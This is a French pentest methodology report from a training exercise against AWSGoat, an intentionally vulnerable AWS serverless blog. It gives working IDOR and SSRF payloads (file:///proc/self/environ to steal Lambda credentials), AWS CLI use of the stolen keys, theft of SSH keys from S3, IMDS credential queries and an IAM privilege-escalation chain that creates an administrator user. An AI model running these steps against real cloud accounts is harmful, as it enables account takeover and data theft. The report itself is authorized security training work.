Aller au contenu

Rapport méthodologique — Exercice AWSGoat

Module 1 : Cloud Infrastructure Pentesting Date : 22 juillet 2026 Cible : Instance AWSGoat partagée (infrastructure du formateur, cluster us-east-1) Testeur : Jean (HIVE)


Contexte

Exercice réalisé dans le cadre du programme Jedha Cyber Lead. L'infrastructure cible est un blog serverless intentionnellement vulnérable (AWS Lambda, API Gateway, S3, DynamoDB), déployé et mutualisé par le formateur pour le groupe. Aucune ressource cloud n'a été déployée par le testeur ; l'accès s'est fait exclusivement via l'application web exposée.

Un travail préparatoire d'adaptation de l'exercice vers Azure (via AzureGoat) a été entamé en tout début de session mais mis en pause après confirmation que l'infrastructure fournie par le formateur était en réalité l'AWSGoat original, rendant l'adaptation superflue pour cette session.


Step 0 — Reconnaissance de l'application

Objectif

Cartographier la surface d'attaque de l'application web (blog serverless) en tant qu'utilisateur authentifié standard, et identifier la réponse secrète de l'utilisateur prescotthensley.

Méthodologie

  1. Inscription et connexion sur l'application.
  2. Exploration de la barre de recherche (page d'accueil) — analyse du trafic réseau associé.
  3. Exploration de l'annuaire utilisateurs et de son API sous-jacente.
  4. Exploration de la page de profil et de la fonctionnalité de changement de mot de passe.
  5. Analyse des endpoints API appelés par le frontend (capture HAR).

Commandes / actions techniques

# Analyse d'un export HAR pour lister les endpoints API appelés
python3 -c "
import json,sys
data = json.load(sys.stdin)
for e in data['log']['entries']:
    req = e['request']
    print(req['method'], req['url'])
" < capture.har
# Extraction du body de la réponse d'un endpoint list-posts / get-users depuis un HAR
python3 -c "
import json,sys
data = json.load(sys.stdin)
for e in data['log']['entries']:
    req = e['request']
    if 'get-users' in req['url'] and req['method']=='POST':
        print(e['response']['content']['text'])
" < capture.har

Vulnérabilités identifiées

V1 — Broken Access Control / IDOR en lecture sur POST /v1/get-users L'API retourne l'intégralité de la table utilisateurs à un compte non-admin (authLevel: 200), incluant des champs qui ne devraient jamais être exposés côté client (password, secretQuestion, secretAnswer). Le paramètre authLevel transmis dans le body de la requête est contrôlé côté client et influence le filtrage serveur, sans validation côté serveur du niveau réel de l'utilisateur authentifié (vérifié via le JWT).

V2 — IDOR en écriture sur POST /v1/change-password Le endpoint accepte un paramètre id arbitraire dans le body, sans vérifier qu'il correspond à l'utilisateur authentifié (JWT). Permet de modifier le mot de passe de n'importe quel compte du système.

Payload exploité (Burp Repeater) :

POST /v1/change-password
Header: jwt_token: <token du compte attaquant>
Body: {"id": "<id_cible>", "newPassword": "<nouveau_mdp>", "confirmNewPassword": "<nouveau_mdp>"}

Observation complémentaire (hors chaîne critique)

Le JWT applicatif (header custom jwt_token, algorithme HS256) n'est pas chiffré : son payload en base64 expose en clair email, address, phone, secretQuestion, secretAnswer de l'utilisateur courant. Point à intégrer au rapport final de risques (fuite d'informations sensibles côté client).

Anomalie fonctionnelle notée : le processus d'inscription accepte un email en tant que username, provoquant un comportement de connexion incohérent selon le champ utilisé (email vs username).


Step 1 — Initial Access (SSRF)

Objectif

Identifier et exploiter une vulnérabilité permettant de faire exécuter des requêtes arbitraires par le serveur.

Vulnérabilité identifiée

V3 — SSRF sur GET /v1/save-content?value=<url> Le champ "URL d'image" du formulaire de création d'article (Newpost) transmet l'URL directement au backend, qui va la récupérer côté serveur sans validation de schéma/plage réseau. Le résultat récupéré est re-uploadé sur S3 et son URL publique est renvoyée en réponse.

Commandes / payloads utilisés

# Test initial vers le endpoint de métadonnées AWS (échec — contexte Lambda, pas EC2)
GET /v1/save-content?value=http://169.254.169.254/latest/meta-data/

# Exploitation réussie via le protocole file://
GET /v1/save-content?value=file:///etc/passwd

# Récupération du contenu exfiltré (image générée par l'app)
curl -s https://<bucket>.s3.amazonaws.com/images/<nom_genere>.png

Résultat

Confirmation de l'exécution dans un environnement AWS Lambda (présence d'un utilisateur sbx_user1051 typique du sandbox Lambda dans /etc/passwd).


Step 2 — Credential Harvesting

Objectif

Extraire les identifiants AWS temporaires du contexte d'exécution Lambda.

Commandes / payloads utilisés

# Lecture des variables d'environnement du process via le SSRF
GET /v1/save-content?value=file:///proc/self/environ

# Récupération et lecture du contenu exfiltré
curl -s https://<bucket>.s3.amazonaws.com/images/<nom_genere>.png

Résultat

Extraction réussie de AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN associés au rôle blog_app_lambda_data, ainsi que JWT_SECRET (clé de signature de l'application, piste d'exploitation complémentaire non creusée dans cette session).

Configuration de la session AWS CLI

aws configure set aws_access_key_id <ACCESS_KEY_ID>
aws configure set aws_secret_access_key <SECRET_ACCESS_KEY>
aws configure set aws_session_token <SESSION_TOKEN>
aws sts get-caller-identity

Step 3 — Lateral Movement

Objectif

Explorer l'environnement AWS avec les identifiants extraits et pivoter vers une autre ressource.

Commandes utilisées

# Énumération des buckets S3 accessibles
aws s3 ls

# Énumération du bucket "state files" (piste explorée, non retenue comme réponse validée)
aws s3 ls s3://do-not-delete-awsgoat-state-files-<account_id>/ --recursive

# Énumération du bucket "dev" (bucket contenant les données sensibles exploitées)
aws s3 ls s3://dev-blog-awsgoat-bucket-<account_id>/ --recursive

# Récupération de la clé SSH et du fichier de configuration
mkdir -p ~/.ssh/awsgoat
aws s3 cp s3://dev-blog-awsgoat-bucket-<account_id>/shared/files/.ssh/keys/VincentVanGoat.pem ~/.ssh/awsgoat/
aws s3 cp s3://dev-blog-awsgoat-bucket-<account_id>/shared/files/.ssh/config.txt ~/.ssh/awsgoat/
chmod 600 ~/.ssh/awsgoat/VincentVanGoat.pem

# Connexion SSH à l'instance EC2 identifiée (seule IP publique du fichier config)
ssh -i ~/.ssh/awsgoat/VincentVanGoat.pem VincentVanGoat@<ip_publique>

Résultat

Le bucket dev-blog-awsgoat-bucket contenait 8 paires de clés SSH privées/publiques en clair, un fichier de configuration SSH, et des scripts de déploiement. Une seule des huit cibles disposait d'une IP publique routable, permettant l'accès direct.


Step 4 — Privilege Escalation

Objectif

Escalader les privilèges jusqu'à l'obtention d'un accès administrateur sur le compte AWS.

Commandes utilisées (depuis le shell SSH sur l'instance EC2)

# Identification du rôle IAM attaché à l'instance via IMDS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Récupération des credentials temporaires du rôle d'instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<nom_role>

# Détail du profil d'instance IAM
aws iam get-instance-profile --instance-profile-name <nom_profile>

# Énumération des policies attachées au rôle
aws iam list-attached-role-policies --role-name <nom_role>

# Détail d'une policy managée et de ses versions
aws iam get-policy --policy-arn <arn_policy>
aws iam list-policy-versions --policy-arn <arn_policy>
aws iam get-policy-version --policy-arn <arn_policy> --version-id <version>

# Vérification de l'absence de policies inline sur le rôle
aws iam list-role-policies --role-name <nom_role>

# Énumération de toutes les policies gérées du compte (scope local)
aws iam list-policies --scope Local

Résultat

Rôle IAM identifié : AWS_GOAT_ROLE. Policy contenant iam:CreatePolicy et iam:AttachRolePolicy identifiée et confirmée par lecture directe du document JSON de la policy : dev-ec2-lambda-policies (statements Pol0 et Pol1).

Note de validation : cette réponse a été confirmée par analyse directe du contenu IAM (get-policy-version) mais n'a pas été acceptée par le système de validation de la plateforme d'exercice malgré plusieurs formats testés (nom exact, casse, ARN complet). À faire confirmer auprès du formateur.

Chaîne d'escalade identifiée (non exécutée dans cette session, en attente d'autorisation du formateur)

La policy dev-ec2-lambda-policies autorise, sur la ressource arn:aws:iam::<account_id>:role/blog_app_lambda_data : - iam:AttachRolePolicy - iam:CreatePolicy (scope *)

Chaîne théorique : création d'une policy avec permissions administrateur, puis attachement de cette policy au rôle blog_app_lambda_data (celui contrôlé depuis le Step 2/3), aboutissant à un accès administrateur complet du compte AWS via ce rôle Lambda.

Confirmation via la documentation officielle Jedha (07-IAM_Privilege_Escalation.md, seconde partie) : la méthode attendue consiste à créer un fichier full_policy.json définissant une policy à privilèges administrateur, l'attacher au rôle Lambda (blog_app_lambda_data), puis créer un utilisateur IAM hacker avec la policy managée AdministratorAccess — validant la chaîne technique identifiée ci-dessus.

# Étapes de la chaîne d'escalade documentée par Jedha (non exécutées, en attente d'autorisation)
aws iam create-policy --policy-name <nom_policy_admin> --policy-document file://full_policy.json
aws iam attach-role-policy --role-name blog_app_lambda_data --policy-arn <arn_policy_creee>
aws iam create-user --user-name hacker
aws iam attach-user-policy --user-name hacker --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Nettoyage

Non exécuté. L'infrastructure appartient au compte AWS du formateur (accès mutualisé pour le groupe). La destruction (terraform destroy côté formateur) est en attente de confirmation de sa part avant toute clôture de l'exercice.


Synthèse des vulnérabilités

ID Vulnérabilité Endpoint / Composant Sévérité indicative
V1 Broken Access Control (IDOR lecture) POST /v1/get-users Élevée
V2 IDOR écriture (prise de contrôle de compte) POST /v1/change-password Critique
V3 SSRF GET /v1/save-content Critique
V4 Exposition de credentials AWS temporaires /proc/self/environ (via SSRF) Critique
V5 Exposition de clés SSH privées en clair sur S3 Bucket dev-blog-awsgoat-bucket Critique
V6 Chaîne d'escalade de privilèges IAM Policy dev-ec2-lambda-policies Critique
Obs. JWT non chiffré exposant des données sensibles JWT applicatif (header jwt_token) Moyenne
Obs. Incohérence de validation du champ username à l'inscription Formulaire Register Faible